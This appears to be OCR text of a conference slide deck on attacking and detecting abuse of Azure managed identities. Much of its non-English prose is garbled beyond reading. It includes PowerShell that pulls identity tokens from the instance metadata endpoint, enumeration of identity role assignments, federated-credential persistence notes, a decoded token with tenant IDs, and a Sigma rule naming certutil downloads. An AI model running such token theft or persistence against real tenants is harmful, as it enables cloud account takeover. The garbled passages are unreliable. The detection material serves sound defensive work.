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All services
All | Filter services Service providers : All Release Status : All
Favorites
Recents - — —
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- =
Recommended for you
Microsoft Virtual Resource App Services Storage saL Cost Virtual
. Entra ID machines groups accounts databases Management networks

Categories
Al + machine learning ) .

Al + machine learning (22)
Analytics
Compute #  Azure Al Studio A Azure Machine Learning
Containers b Azure Al services @b Azure Al services multi-service account
Databases P

Q Anomaly detectors Bot Services
DevOps

B content moderators ' Custom vision
General
Hybrid + multicloud @ Face APIs L.! Immersive readers
Identity Eﬁ Metrics advisors @ Azure OpenAl
Integration o

ull Speech services Translators
Internet of Things

@ Azure Synapse Analytics
Management and governance
Migration Analytics (23)
Mixed reality

&= Analysis Services @ Apache Airflow™ on Astro - An Azure Native ISV... | PARTNER
Monitor

) i [+
Networking «*! Data Lake Analytics L4 Data Lake Storage Gen1
Security #a* HDInsight clusters Azure HDInsight on AKS clusters (preview) | PREVIEW
Storage 48 Microsoft Graph Data Connect  PREVIEW Uw Data Catalog
Web & Mobile
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e App registrations & External Cor B Guest Usages
General B View
—— —— Managed Identities O Microsoft Er ® Microsoft Entra ID
lybrid + multiclou
Identity B Microsoft Entra Privileged Identity Management (&) Identity Goy Description & Microsoft Entra v
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Integration @ Microsoft Entra ID Security B Verified ID Microsoft Entra devices and services with
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Internet of Things Integration (17) security features.
integration
Management and governance
Free training from Microsoft
Migration (A Apache Airflow™ on Astro - An Azure Native ISV... | PARTNER #  App Configt [iz] integration accounts
Secure your application by using OpenlD Conn...
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Monitor
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Y x Reader,Contributor -

| Access control (IAM)

+ Add v T Activaterole L Download role assignments

All

Job function roles  Privileged administrator roles

\;' Search by role name, description, permission, or ID

[ Name
[J owner

[ contributor

[] reader

[ Access Review Operator Service Role

[ AerDelete

[ AcrimageSigner

[ Aerpun

[ AcrPush

[ AerQuarantinereader
[ AcrQuarantineWriter
[ Adviser

[ Advisor Reviews Contributor

Contributor and Revi.

[ Advisor Reviews Reader

tditcolumns (O Refresh | [ Delete | &7 Feedback

Type : All Category : All

Deseription Ty

Grants full access to manage all resources, including the ability to assign roles in Azure RBAC.

Grants full access to manage all resources, but does not allow you to assign roles in Azure RBAC, manage assignments in Azure Blueprints, or share image galle

View all resources, but does not allow you to make any changes.

Lets you grant Access Review System app permissions to discover and revoke access as needed by the access review process.

acr delete
acr image signer

acr pull

acr push

acr quarantine data reader
acr quarantine data writer

View assessment recommendations, aceepted review

and manage the

View reviews for a workload and triage recommendations linked to them.

View reviews for a workload and recommendations linked to them.

lifecycle (mark recommendations as completed, po.

Type Ty

BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole
BuiltinRole

BuiltinRole
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Virtual Machine User Login

BuiltinRole

Permission Type

@ Actions O DataActions

Showing 26 of 26 permissions

Type
" Microsoft.Compute
Read
Read
Read
Read
Read
Read
Read
Read
Read
Read
Read
Read
" Microsoft.Network
Read
Read
Read

Read

Permissions

Get Virtual Machine

Summarizes latest patch assessment operation results
Lists all patches assessed in patch assessment operation () Retrieves list of patches assessed during the last patch assessment operation
Summarizes latest patch installation operation results (& Retrieves the summary of the latest patch installation operation

Lists all patches considered in patch installation operation

Get Virtual Machine log definitions Gets the available logs for Virtual Machine.

Read diagnostic setting &
Get Virtual Machine Extension (0

Get Virtual Machine Instance View

Get Virtual Machine Metric Definitions
Get Virtual Machine run command (& Get the properties of a virtual machine run command

Lists Available Virtual Machine Sizes Lists available sizes the virtual machine can be updated to

Get Load Balancer (0
Get Network Interface (0
Get Public |p Address (O

Get Virtual Network @

" Microsoft.HybridCompute

Read

Read

Read

Read

Read

Read

Read

Read

Read

Read Azure Arc machines

Read Azure Arc patchinstallationResults

Read Azure Arc patchinstallationResults/softwarePatches (D Reads any Azure Arc patchinstallationResults/softwarePatches

Read Azure Arc extensions (O

Read Azure Arc licenseProfiles

Read Azure Are machines's Hybrid Identity Metadata (0 Read any Azure Arc machines's Hybrid Identity Metadata
Read Azure Arc patchAssessmentResults (O Reads any Azure Arc patchAssessmentResults
Read Azure Arc patchAssessmentResults/softwarePatches (O Reads any Azure Arc patchAssessmentResults/softwarePatches

Read Azure Arc runcommands (0

' Microsoft.HybridConnectivity

Other

Endpoints_ListCredentials (&

Description

Get the properties of a virtual machine

Retrieves the summary of the latest patch assessment operation

Retrieves list of patches attempted to be installed during the last patch installation
operation

Gets the diagnostic setting for the Virtual Machine.
Get the properties of a virtual machine extension

Gets the detailed runtime status of the virtual machine and its resources

Reads Virtual Machine Metric Definitions.

Gets a load balancer definition
Gets a network interface definition.
Gets a public ip address definition.

Get the virtual network definition

Read any Azure Arc machines

Reads any Azure Arc patchinstallationResults

Reads any Azure Arc extensions

Reads any Azure Arc licenseProfiles

Reads any Azure Are runcommands

Gets the endpoint access credentials to the resource.

Managedidentities Azure
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System assigned

User assigned

Systemr -~ X OSAMI .~ s 4 System assigned 1 - X "X TA7 o p 3 L 18X sl s 4 7 X
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4

sapir-fa | Identity *

Function App

l L Search

«

<

Activity log

%1 Access control (IAM)

€ Tags

/2 Diagnose and solve problems

© Microsoft Defender for Cloud
Events (preview)

Better Together (preview)

7 Functions e D
> Deployment
Py Permissions ©
> Performance I Azure role assignments |
Vv Settings
IVl Coivmmmmant viaviaklas

System assigned  User assigned

A system assigned managed identity is restricted to one per resource and is
access control (Azure RBAC). The managed identity is authenticated with Mi

[Eﬂ Save X Discard O Refresh ﬁ Troubleshoot ;? Got fe

Status
of  QTED

Object (principal) ID ©

X vl 14 %X

§ 4 17 "4 5T FunctionAppm 4 194 1§ 4 "SE MIE

~

X v 3% e A s TP T e v 4 d XSS SSAMIT Y XXX s 1 ] IS

SAP X S X F 1 X o
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Al services

Azure role assignments

+ Add ole assignment (Preview) () Refresh

If this identity has role assignments that you don't have permission to read, they won't be shown in the list. Learn more

Subseription *

> Resource group

Role

N role assignments found for the selected subscription.

> Function App > sapir-fa | Identity

Add role assignment (Preview) X

[ sapir_test group v
Resource Name Resource Type

~

X opeex Ly T« s ¢ B JRésourceGroupst ubscriptions b 1 - XS 4 Pk w

X v .83 Ts , ( IE X< 8D HW SAMIT - 7 AX7Ees | dopesir 1 Texd | x ]
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L * RedourceGroups _ Y ! Js.sx) sadr_test groupl , 1 - Reso@rceGouprt . ~ ~Owner
O x4 L o TRBIX 4 4] sy

x « WserAssignedManagedidentity s S _d | x¥4 <« s.C5. 4 " L KSAME 1 L4 A% o« s
UAMI 1% 1T 0%« s e X SAMIE xS SSAMIT UAMIT 44 X KPAMITH 7 xs X
®q* .. o ¥ X Ausx] A

~> v

PR TLIsK ol D o XL o X X x X ] 4 TRATIX Y 4 s s

"L, R 4.5 K s CGAMIL It G % " x 1] % JSAML x J H <4 s ¢
LS s o XSS T NEX T 4 X L XTOR AV L X S S4m 01 % K x4 X, <1y
D x o x,pSlop LT UXys X x Do F x s ¢ s " " % xGFahdalone M X XXk X oL

L N T ML NN T SN % P B

Xow XSO X X %X X o X D 4 ss i q i Isdpir_uami | UAMIH ¢ LS A
Y 4o~ 2o pd $ 1 cAWsx . ]

Add user assigned managed identity X
[ | Identity

7 Virtual machine

Select a subscription

System assigned  User assigned

K3 overview User assigned managed identities

User assigned managed identities enable Azure resources to authenticate to loud Sevices (& [ fi1e; b dentity name and/or resource group name ‘
& Activity log created as standalone Azure resources, and have their own lifecycle. A single resource (2. Vit

assigned managed identity can be shared across multiple resources (e.g. Virtual Machine).
A, Access control (IAM)
+ Add i Remove

O o ?
@ Tags O Refresh | /) Got feedback? p—
< Diagnose and solve problems > Resource Group: sapir_test_group
ES
> Connect Name T4 Resource group Selected identities:
> Networking No results sapir_uami
., Resource Group: sapir_test_group Remove
> Settings ¥ Subscription: | S
> Availability + scale
v Security
. Identity

Micencnft Nafandar fnr

S %X s s x| X Ty

ML + 4 YHX 4 dn
F 1% «o_, . User AssigneManageddentity - X _~ 1 @

>

MIT: X « .ise @

>

MliL -~ S [T R I R R (|

~ v
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Y X%, sy |- xs i lUserAssigned SystemAssigned X MI-S <@ X s{CI XDy «

7
m} fl
idve M
"deletedDateTime": null,
"accountEnabled": true, Response preview
[m] “altgrpativeNamec'

'
¥22d93-18cf-406d-aa68-323c f7819b3f/resourcegroups/sapir_test_group/providers/Microsoft.ManagedIdentity/userAssignedIdentities,
sapir_uami”
1,
"createdDateTime": "2024-09-03T07:17:58Z",
"deviceMarfagementAppType': null,
"appDescription": null,

“"appDisplayName": null,

"appld": M
"applicationTemplateld": null,
"appOwnerOrganizationId": null,
"appRoleAssignmentRequired": false,
"description”: null,

"disabledByMicrosoftStatus": null,

"displayName": "sapir_uami",

"errorUrl": null,

"homepage": null,
"isAuthorizationServiceEnabled": false,

YsExplicit _ 1 ~ s { altérnativeNames 1
1 True == UAMI
1 False == SAMI
Yze x I X x s o1« Tderys " s

az ad sp list -- query ="[?servicePrincipalType=='"Managedldentity’ &&

alternativeNames[?contains(@, 'isExplicit=False")]]" - all

S 1 v w4l Capplds X s e 4 XX TITRZY L Xattributest LoF 40 1 s KR XY <
KEOSSS4 L« AXLS KESSY v X 1ld, B .

s J. sz I xX.1TXLF b 1@ 1 CgXx s L&

A~ oA ~ v o~

sds

sd . « 4 Y y {:4x_7_4xsService Principal SErvice principal ¥ X XMl +2 4 < " 44 |
*® | K+« SX <« ¥ 34 servicePrincipal *MIX " B, L X~

applds | _x*s _J .l 4 X 4401414 5x | xsBrvicePrincipal f 4 7 % X% X 1P«
~ »12 ~GUID- _x _ 1% s 2 0_appDisplayName _ xonull: X 4usxpld x ss « o, 7 ] X
xdsisy X s A

dx 445 4]

c A S YD S xS WA X% g Tapplds | X GUIDE D X T o e X
H 44~

~
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‘ beta v ‘ | htlps://graphm\croswft‘com/beta/appl\cahons/_ E | m

Possible error found in URL near. I ]

B> Request body [® Request headers @ Modify permissions © Access token

(&) Not Found - 404 - 637 ms

) Response preview [ Response headers [ Code snippets &g Toolkit component Adaptive cards =
[m R
m] "error': {

"code": "Request_ResourceNotFound",
"message": "Resource '] ¢ does not exist or one of its queried reference-property objects are not present.",
a “innerErrort: {

"date": "2024-09-03T07:57:19",
"request-id": "ba7b9afa-f923-4ed3-ad4a5-2c50791fc@c5",
"client-request—id": "0f575df9-5eel-d8dc-6e4d-063aecc56224"

¥

}
¥

X "~L+ 1 {@ ",(P 1s1¥ d - v|.z~_| L X E ‘_SXVS XU XX d ] NMlx ™y )'IH"‘I.K\‘-‘L~ ] )
KI®” x BXsSMIE v S 4+ w412 %Muwx”] 1”7 CNES 4 X7 ¥ 1% ¥ 87T xq4x
¥ . Xssl x & vsq4 57" x| Pewershell : 1™ _

Connect- AzAccount - Identity

¢ «prokent s S X HI 4 X IXFI$ {4 1UCIxMekens S« AR T4 47 1S

>

S _XF XXX ] §K.  s5SsKe$ {3 §5¢ | nfreshtokerx "l 5 4 S o4 id s

A

xp] Hope

M " Tokens s " &«

{ "typ" : "IWT",
"alg" : "RS256",

"5t" : "MGLQj98VNLoXaFfpJCBpgB4JaKs!
"kid" : "MGLQj98VNLoXaFfpJCBpgB4JaKs"

"https://management.azure.com/" ,
"https://sts.windows.net/eba5ea9a - b43a- 4fab - afld - f245e133078d/"
1720866122,
1720866122,
1720952822,
aio" : "E2dgYFgatTRLqeZzTkV17vLTBR8eAAAs"
"appid" : "f5c8f961 -4667-4al2- afdc - e58090afffd9"
"appidacr" : "2",

"idp" : "https://sts.windows.net/eba5ea9a - b43a- 4fab - afld - f245e133078d/" ,
“idtyp" : "app",

"oid" : "8c7d7ffb -cd90-4d9e- beca- b73e60ca3f0l" ,

"rh" : "0.ARMBmuql6zgq0q0- vHfIFATMH|UZIf3kAutdPukPawfj2MBMTAQA.",

"sub" : "8c7d7ffb -cd90-4d9e- beca- b73e60ca3f0l" ,

"tid" : "ebabea9a- b43a- 4fab - afld - f245e133078d" ,

"ut" : "xqdVPppWUEa7Iq_f5eqnAA|

ver" : "1.0" ,

"xms_idrel" : "22 7" ,

"xms_mirid"
"/subscriptions/GUID/resourcegroups/sapir_resource_group/providers/Microsoft. Compute/vi
rtualMachines/sapir -vm",

"xms_tcdt" : "1720437592"

}.[ Signature ]
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X -~ « Expirationtimgt - -1 ~ _.s1 -dAccessToken 1 1 11X 7 1%« K x> ]

® 4. e xx3 ¥ L ATl s X S e {4 s Jokent _ - - X ¢S

xtns mirids ' ® X x4 Xx ( Tokenm® - ~_ ! 1! x™ Mt réfresh tokenx ™ 14 3 x " %
ds | xx 1 lexd T Tokent - 1 f | X XST MM x| X« Tsx Y4

p X Ao MBI T o 4 ABRMIEE D DS e X sl ox T R s

PH, 8 L b Xvs 1] Yo X

I N L SXX 0sdse 1111 1% I I | xYax sx"X] s x

$currentAzureContext = Get - AzContext

$azureRmProfile =
Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider

nstance.Profile

$profileClient = New- Object
Microsoft.Azure.Commands.ResourceManager.Common.RMProfileClient($azureRmProfile)
$profileClient.AcquireAccessToken ($currentAzureContext.Subscription. Tenantld) .AccessTok
en

Write - Host "$( $profileClient )"

connect, S _« 4151 | 1w 108 Y*ssl x & s 4 ,«s{ M+ Tokeny 1 _'s . Jx."I

$response = Invoke - WebRequest - Uri

'http://169.254.169.254/metadata/identity/oauth2/token?api - version=2018 - 02-
01&resource=https://management.azure.com/' - Method GET - Headers @{Metadata="true" }

s T x|l b oxos pfysexx” 2o 9@ X v A4S 4 0 o 1R kX Ixse ] T OF e
TEnantm - * "¢ X1« <. QGauthtoken * « il | S« X I 01 B s x4 X
MC PPHp N WM CPRPHP Asx + HXX 17 «

>

Azurgt & x 4L~ XA D oAUIXSSS{A e o Tie. S X ISYOIMDSE ¢ . | X X ic[{ss ¢

d 1L+ 5 ;ngAxiH.‘ssI X - >\-|sI B K 4 XX",T T O X

SR 0 I U BN S LA NS S S N
X {ax X v P SMIr X L X 25 1
MiL ~ _ , o x5 x < X344

~ ~

Refreshtokert 1 12X X 44 MlL _Tokent @
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Ty PSS xw X e x e ] T e i T R TXex OS] xXOX

l—Jl*j~$$)(vs7c>s\~vmrlanms_l‘“_IA.I‘”x:LX\

S Y vy s

MY | 7S489 1S {447

Y {1 ss. ¥ N [ IR st,_v i «: :XV\_SN ~ $Xs{MIld 414 .

ST E s Mk S LA p AT S ¥ s | ASH1C] X aKE X 4 14 iS G v SIR F ] X X
Tl v b3 41, X Il TS S e X LS X X T KT RS DX .S

Wos A0 %™ o«

e sy AW =5 JMEAX w3

. He~» s - Mle &« DX d VX sy X

v a

X o 088 ¥ . XSy 4 X AR X 4 CMITE X < TEECT Hl  aax TE X

e X F R X X0 XX ALY X X KX s, KX T X s Ho X3 L

az login

$sps = az ad sp list -- filter "servicePrincipal Type eq 'ManagedI|dentity™
ConvertFrom - Json foreach($sp in $sps)

{
Write - Host "Managed Identity:™  r'nld: $( $sp.id )" r 'n Name: $( $sp.displayName )"
$rbac = az role assignment list -- assignee $sp.id ConvertFrom - Json foreach($r in
$rbac)

{
Write - Host "RBAC:'r 'n $( $r.roleDefinitionld )" r’'n$( $r.roleDefinitionName ) r’n
$( $r.scope )"

}
Write - Host "

}

Managed Identity:
Id: 8c7d7ffb-cd90-4d9e-beca-b73e60ca3fol
Name: sapir-vm

RBAC:
/subscriptions/84945766-aaff-413d-bf94-2e9743f7693a/providers /Microsoft. Authorization/roleDefinitions/
Reader
/subscriptions/84945766-aaff-413d-bf94-2e9743f7693a

Managed Identity:
Id: 77b59ebd-c98b-4a3a-a39c-30a5c0ccfbfa
Name: sapir_ua_mi
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1. x vBlackMart x ¥ < x sO D H_ , ¥ TXE wsd .o« TS Ly € x 1TF F xS

~ ~ o~

@ X4 T X X RS « L PEK TS S DX AT KL XS STPG. ]~ S

YOH- 1+« 6Ditkjjand L4y | » % 10 417

~ ~

https://dirkjanm.io/persistingwith-federatedcredentialsentra-appsmanagedidentities/

Y X , Hx € .57 X

X X X o

L4 oMy @ xos ET0s 4l X x 0 s 7 I1s{ L L

Mitg L s ! Xk @ 15, 34 @

-IX:“VLMIF ,\SSI § . \x,..‘v:l-,\ ¥|_S\.=_])izl XH:()SiA: :.L-IMW-IA-!,-L”,,SNL)L\.Xl YX

P L x s {Hs i 8§ Y sSe L, X34 o XX X o s

~ ~ v

L _r L X _s1 ¥4 FBderated Credentials » ~ & _ * I's{ {4 H# 5 51 87 4 *4sl]
1Q . "X ¥.11 § + . AMSSSO

FederatedOedentials

10+ ~"H 44" b 1 o «is « 4 ] Wentity Providert 4 X _« XSx 4L X, Isy X

L X . X ] ¥Federated Credentials , "Xl "{Ehtrar x © 4 x s | s¢ s 7 Qktat _ _
e xs i b o q ax]s Entrar 10 A* ! Okta Gktar x4 0% s Fd ¢ . S

~ v

17X x5 s £y g xl] Entrat. XSl T TSI X v %S {7 gpX X

~ Am v ~ v

®44 4”4 1 ldentityProvident 4 ~ 1 . X -

X X A He s I HE XA o e 4 XX 1 0dpre 4 T 4 X
oS O Xe Xs o c b s e X W XSE 0 o wedX oSy o ] BEitram 10 44 x X4

®Li1.1 s

~

S T x 1 X {sspx [{4sEOX X4 sises | 4 x ¢S | xise§ " s xEhtdad |

~

FLXg" 1. txsSx@ {115, S Ke. ]SS Hpr .S A% sl xss

®asswordless Authenticatian 1 L+ ! X~ S+ CBA Authentication - «~ 1 1+~ 1 | _

User Assigned.  FederatedQredentials~ 1 ! ¥yx$'uXdpd " A X Kdw 1 ¥y X x3x {s . s

~

®x» K, = $X.1%9  MManageddentities
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https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/
https://digitalwhisper.co.il/files/Zines/0xA4/DW164-2-TAP-PasswordlessAuth.pdf

r 1 _ _ ‘L _FederatedAuthentication¥ | "1~ L x{"" x 4 ¥ Css DT {0 X 1 s

s | XX‘AXSSWXEXL-:H, v" xl“st.v’l’_=|J,;z¢k§\sv¢M|ﬁ\“xl_xxl;zx,,i]x-|x~-|x

Mooy o e ssidwxx ™« |

L X 4 "Mt © v < { Bervice Principal~ _ . d4s | x { & {{ "« 7B 447, Xs.

M., «~p*1 s, XSvv ¥

~ > ~ v

PS C:\> Add-MgServicePrincipalPassword

Federated. s | . X% _ « MRI™ _d s 41 W x§ {8517 {4 . 80 .

~

Oekdentials

K 3% J¢ {48 _ s

v

CXoXa ] RE IS ol % P idpd T A D S A X X e E Y W X
s 4w d UMY S ] Tudd 17 4 Ldokent 4 LT X w8 . XX 4S8 Q.
Y . | "OIDGY

well-known/openidconfiguratiordy x X x 4 14 7% 1 "«

jwks_urid ~ ds. M Dox T ]l X x X

@ x N ss 4T s

roroler 4 1% 251 X2 M-S~ X *Federated Credentials | "~ 1 1 % ~» 1 72 |

Y\.XSS\. ., S S

Microsoft.Managedldentity/userAssignedldentities/federatedidentityCredentials/w

rite

CX kML, X 49 e @k 4 s¢ RBA® - o Edtra Permissioms T L 1* X X x o

~ ~

S v~ 858x .« v 14 RBA@ s -~ <. | Adure management 1 « Entra* 4 « 10 s x 7

~ v o~

¥ . x 1" s
Contributor / Owner 1
Managed Identity Contributor
Azure Red Hat OpenShift Federated Credential Rdle
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F 414 - dbused "L % 49 e, xso

r
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11,

Y ox xoq,

RYNE N

vv o o=
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L
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Xx s 1@ |
Ixs1e A
- x .. DefCon

1 wsi%s, @

1
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S P X«
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10 H

Y Fdderated Credentials ¢ ¥:xx {x 9 | A

! icePrinei) ights || @ | @
Mi

soft Entra ID Service Principal Insights (v1_202

El¥ service Principals
£a Service Principal Owners
£a Application Owners
2 Service Principal Owned Objects
Managed Identity User Assigned - associated Azure Resources
& . Service Principal AAD RoleAssignments
4. Service Principal AAD RoleAssignedOn

& . Application AAD RoleAssignedOn

22 Service Principal App RoleAssignedTo (Users and Groups)

4+ Service Principal Azure RoleAssignments
4 Service Principal Group memberships
Application Secrets (1 expire soon)
Application Certificates
Application Federated Identity Credentials
Managed Identity User Assigned Federated Identity Credentials
Download CSV semicolon | comma

Rows: 1

SP (MI) Chjectid SP (MI) Application 1d SP (MI) Resource Id (ARM)

DisplayMame

1c735e77-ed77- FedUAMI /subscriptions,

flds7619-49f2-

4673-8b15-

a3fdseo4eafo
es/FedUAMI

£ HiPo Users (4)

“/resourcegroups/pentest-rg/providers/

<2~ Service Principal App RoleAssignments (API permissions Application) [critical. medium permissions: 54]

- Service Principal Qauth Permission grants (API permissions Delegated) [critical, medium permissions: 66]

Federated Identity Credentials

1 (AbuseFederatedCreds (id: /subscriptions,

iders/Microsoft.Managedidentity/userAssignedidentities/FedUAMI/federatedident
Microsoft. Managedidentity/userAssignedidentiti  (issuer https://token.actions.githubusercontent.com; subject: repa:cloud-architekt]
s/main; audiences: apiy//AzureADTokenExchange))
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X v e MIX 44X s 1Y L x " .~ FBEdérated Credentials s | « -~ 1

a ~ A~

X v BF o - K {1 X o xssC X1 4 x SIS X I X o I, S S_{XX s K x Xy

a A v o~ v~

N XY L IxS .

YLK b x X3 4 yox Azure
. 7 ., MSigaln~ x x I s . xy {4 x Azurer * X i | I« *: Signinlogs @

YGURfs &« x « .

Sign-inlogs  #

¢« - Download ~ £33 Export Data Settings # Troubleshoot () Refresh == Columns £ Got feedback?

es @ want to switch back to the default sign-ins experience? Click here to leave the preview. =

Date - Last 24 hours Show dates as : Local Time aggregate : 24 hours F Add filters
User sign-ins (interactive) User sign-ins (non-interactive) Service principal sign-ins Managed identity sign-ins

@ sign-ins in the table below are grouped by application. Click on a row to see all the sign-ins for an application on that date and time.

Date 4 Request D 1L Managed identi..T). Managed identi... T, Status Resource Resource ID 1L Managed Identi...™y  Associated Reso..t)

> 9/22/2024, 3:00:00)

Success Microsoft.EventHubs

systemAssigned
> 9/22/2024, 3:00.00| ... Success Microsoft.EventHubs systemAssigned
> 972272024, 300 . Success Azure Key Vault systemAssigned
> 972272024, 300 . Success Azure Key Vault systemAssigned

x _ Peéderated Credentials s 1 « « 1% sy &> Cliént credential type ' _ >+ _ 8 1 x "7
1 x84 0 s FAHX LsluxE . "« xsilx{ Pederated x ! ¢ $1 X« L XY

Yroken issuef

Home tenant name

Client credential type None
Managed identity ID — ]
Original transfer method None

Token Protection - Sign In Session  None

Managed identity name sapir_uami
Managed identity type User Assigned

Associated Resource ID
Federated Token ID
Federated Token Issuer

Federated credential ID

S 4w 1S .« XX {sxis] 4 s F ¥ L dcationt g MEY X4t v« 42 | o

An

@y ¥~ v  Resourceg 4 x o % Mg x s ¢s 7]
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Y 44 1 14 YAMIT Federated Credentials - ¥ 1Auditlog @

Audit Log Details X
logs

Activity Target(s) Modified Properties
L Download 5 Export Data Settings () Refresh €3 Manage view - &7 Got feedbs _—

(& want to switch back to the legacy audit logs experience? Click here ta leave the preview. Target Property Name Old Value New Value

Y Add filter Show dates as: Local Date range: Last 24 hours Service : All Cat. sapir_uami Federated|dentityCredentials 0 [{"Name""test","Issuer": "https://test.com”,"Subj
ect™"test","ld"" 1bdce2fc-c5f7-4574-Bade-
feba8f8a2c3b","Description™:null,"Audiences":

Directory  Custom Security ["apiy//AzureADTokenExchange’),"ClaimsMatchi
—_ » ol “Clai .
ssionLanguageVersion™0,"EncodingVersion™1,"
Date | Service Category Trustedlssuernull)]
9/22/24, 9:50:08 AM Core Directory ApplicationManagement sapir_uami Included Updated Properties “FederatedldentityCredentials"

9/22/24, 950,08 AM Core Directory ApplicationManagement
sapir_uami Targetid ServicePrincipalNames

9/21/24, 11:5355 PM Self service Group Mana. GroupManagement

9/21/24,11:46:22 PM Self-service Group Mana... GroupManagement

s¥ 14 1-3%uws>*{ 4<% AW+l $ dUpdate service principa¥ x « xxs_ ¥y x | s

T8 L IMEE | X x ServicePrincipa@ |« X D X7 44 X WD X L o XS]

EPe 4 *sxL

x Xsq Js3¥s 4y w4l x4« "nGraphActivityLog ®
é 'I i E ‘-N ‘I ” -l:\.vSXl’)‘ |VSJ L XSA .L‘ ., X~Y,,-|X.>|X’ S(A“

& 1 x 4% X¥syntaxX’ S 14+« DKQL X @ X o xs¥Cy x X o 119s{ ~A

An ~

« & S@enantt © 1 _ GraphAPF @ L Aie )ty x o ps o sTY x4 ¥ 4 f e TH447
XS AKX _Je o ¥ XPI OB xSl Xsx L4 TADD X 4 CLDAP 1% 1S
s« X 4 %% 1GraphARE AP X ™o ] EBtrat @ X » X X L X S 080y x| KEIC

P AT KIF e x s T s x93 x Adrer L X Dvisxp £ pd L X

DXL . 8o X L XT D KRSy DX o O AP 4

A~ v o~ ~

a

YAzureADAPI _ x GraphAP}: { | «fulws_ Yy x I's
GraphAP# https://graph.microsoft.com

AzureADAPRI https://graph.windows.net

©_YOR L4 IS LT X L1 1E x| x4 44 % | {deprecatedd | 17X IH ™% IS
TROoDox v i x s ©p 4T ] x4 p Y ¢ AdDInternale RoadTools
GraphActivityLog

ME v T A » « XX % o] L 45 &« X0 X B Y x gpss o XAy Xox 47 a3 0] X
® ¢ oxosxC [xBhAtrat r 4 X0 -

~ v o~

1 Fox DT e "Rletection ) + v X ST X A 7T K AL K X 1 TS5 S s

k 15 _ © - Kralse Positives x X » + 1
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https://graph.microsoft.com/
https://graph.windows.net/
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s ¢ Ii8elvicePrincipalld ! _:sx .«

Results

1 MicrosoftGraphActivitylLogs

Chart

Showing the first 30,000 results. Learn more on how to narrow down the result set.

TimeGenerated [UTC] Ty Location Requestid
KequestMetnod el
ResponseStatusCode 200

AadTenantld ]

IPAddress _

UserAgent ReactorNetty/1.0.32

RequestUri https:/jgraph.microsoft.comjv1.0/auditLogs/signins?$filter=(createdDateTime+gt-
DurationMs 10427337

ResponseSizeBytes 92

SigninActivityld 7Zk0OeWAp9kaJX5BtXBQCAA

Roles Directory.Read.All AuditLog.Read.All

2024-09-22T06:29:08Z

https:/jsts.windows.net/ G ismtet ettt OSSRty

ClientAuthMethod 1

TokenlissuedAt [UTC]
Appld
ServicePrincipalld

IdentityProvider

Operationld
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https://github.com/johnthebrit/RandomStuff/blob/master/Managedldentity/mngldDD.ps1
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https://dirkjanm.io/persistingwith-federated-credentialsentra-appsmanagedidentities/
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https://www.cloud-architekt.net/identify-preventabuseuamifedcreds/
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https://learn.microsoft.com/enrus/entra/identity/managedidentities-azureresources/overview

Y 44", . ML v ., ~Karl Fosaaen 1 ~ "4 1

https://www.netspi.com/blog/technicablog/cloudpentesting/extractingnanagedidentity-

certificatesfrom-azurearc-service/

https://www.youtube.com/watch?v=efF5Up7zBrg

https://www.netspi.com/blog/technicalblog/cloudpentesting/azureuserassigneémanaged

identities-viasdeploymentscripts/
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X~ SIGMA X x 3 v« % 7Y X1 «YAME . + 4 SIGMAI{ « x ] e d T 4 xs S

. X S « X 7S L F s , S L L S y x | X% CF 1 x D . XS
~ ~ A~ ~ v~
o -~ z
{dz@aLIAOA2dza 52¢yf2FI R QGAl
1 title: Suspicious Download Via Certutil.EXE
2 id: 19b@8blc-86ld-4e75-alef-eadclbafae2b
3 related:
4 - id: 13e6fe51-d478-4c7e-baf2-6da%b48@a829
5 type: similar
6 status: test
7 description: Detects the execution of certutil with certain flags that allow the utility to download files.
8 references:
] - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
1@ - https://forensicitguy.github.io/agenttesla-vba-certutil-download/
11 - https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
12 - https://twitter.com/egre55/status/1087685529816193025
13 - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
14 author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextreon Systems)
15 date: 2823-82-15
16 tags:
17 - attack.defense-evasion
18 - attack.tle27
19 logsource:
20 category: process_creation
21 product: windows
22 detection:
23 selection_img:
24 - Image|endswith: '‘\certutil.exe®
25 - OriginalFileName: ‘CertUtil.exe’
26 selection_flags:
27 CommandLine|contains:
28 - ‘urlcache '
29 - ‘wverifyctl
38 selection_http:
31 CommandLine|contains: 'http’
32 condition: all of selection_*
33 falsepositives:
34 - Unknown
35 level: medium
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TRANSLATING INTO DETECTION LOGIC

TESTING DETECTION LOGIC IN LAB

TRANSLATING FINDINGS TO SPECIFIC SIEM

USE CASE MANAGEMENT — GENERATING LEADS

ONLINE THREAT REPORTS / RESEARCH

OPEN-SOURCE DETECTION DATABASES (SIGMA, SPLUNK, ELASTIC, ETC...)
THREAT HUNTING TEAM
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TESTING IN LAB

GENERATING ON-DEMAND TEMPORARY VIRTUAL
MACHINE

PERFORMING THE ACTIVITY THAT THE DETECTION
LOGIC ATTEMPTS TO CAPTURE

ALL TELEMETRY (NETWORK, FILES, PROCESS) IS
RECORDED ON ATTACKED MACHINE

ON-DEMAND SPLUNK INSTANCE IS GENERATED, LOGS
ARE PUSHED TO IT AND ARE AVAILABLE FOR BROWSING

RECORDED ACTIVITY GETS RAN AGAINST FULL
DETECTION LIBRARY FOR HISTORICAL CORRELATION
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TESTING IN LAB
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N securitybot notv 1247
| see you just ran the command flurb -export ON accountingserverei. Thisis asensitive
command, so please acknowledge this activity by typing acknowledge .

%1 ryan 12:47 P
| ¥ acknowledge

securitybot cor 12:47pm
Acknowledging via 2fa.

Security Bot ® @securitybot
Alerts users about possibly dangerous activity

This is the very beginning of your direct message history with securitybot.

September 12th

0047 securitybot eor Hithere Luke!
Feel free to message me =

15 for some commands youcanuse,e.g =top OF : -« . You can also read a quick primer onwho | am.

There's an alert, ze-: ng frobn
Here's some more information on the alert:
Youran e:cbsicate. oo onaOverseer machine at 2016-09-12 00:37 UTC.

=, that's associated with your username.

Did you do this?
Respond with either "yes” or "no" followed by an explanation in one message.
00:47  Ifaracne yes,|wasdeploying caz-config and following the instructions at https://docs.dropbox-corp.com/a/security/frobnicate/#how-to
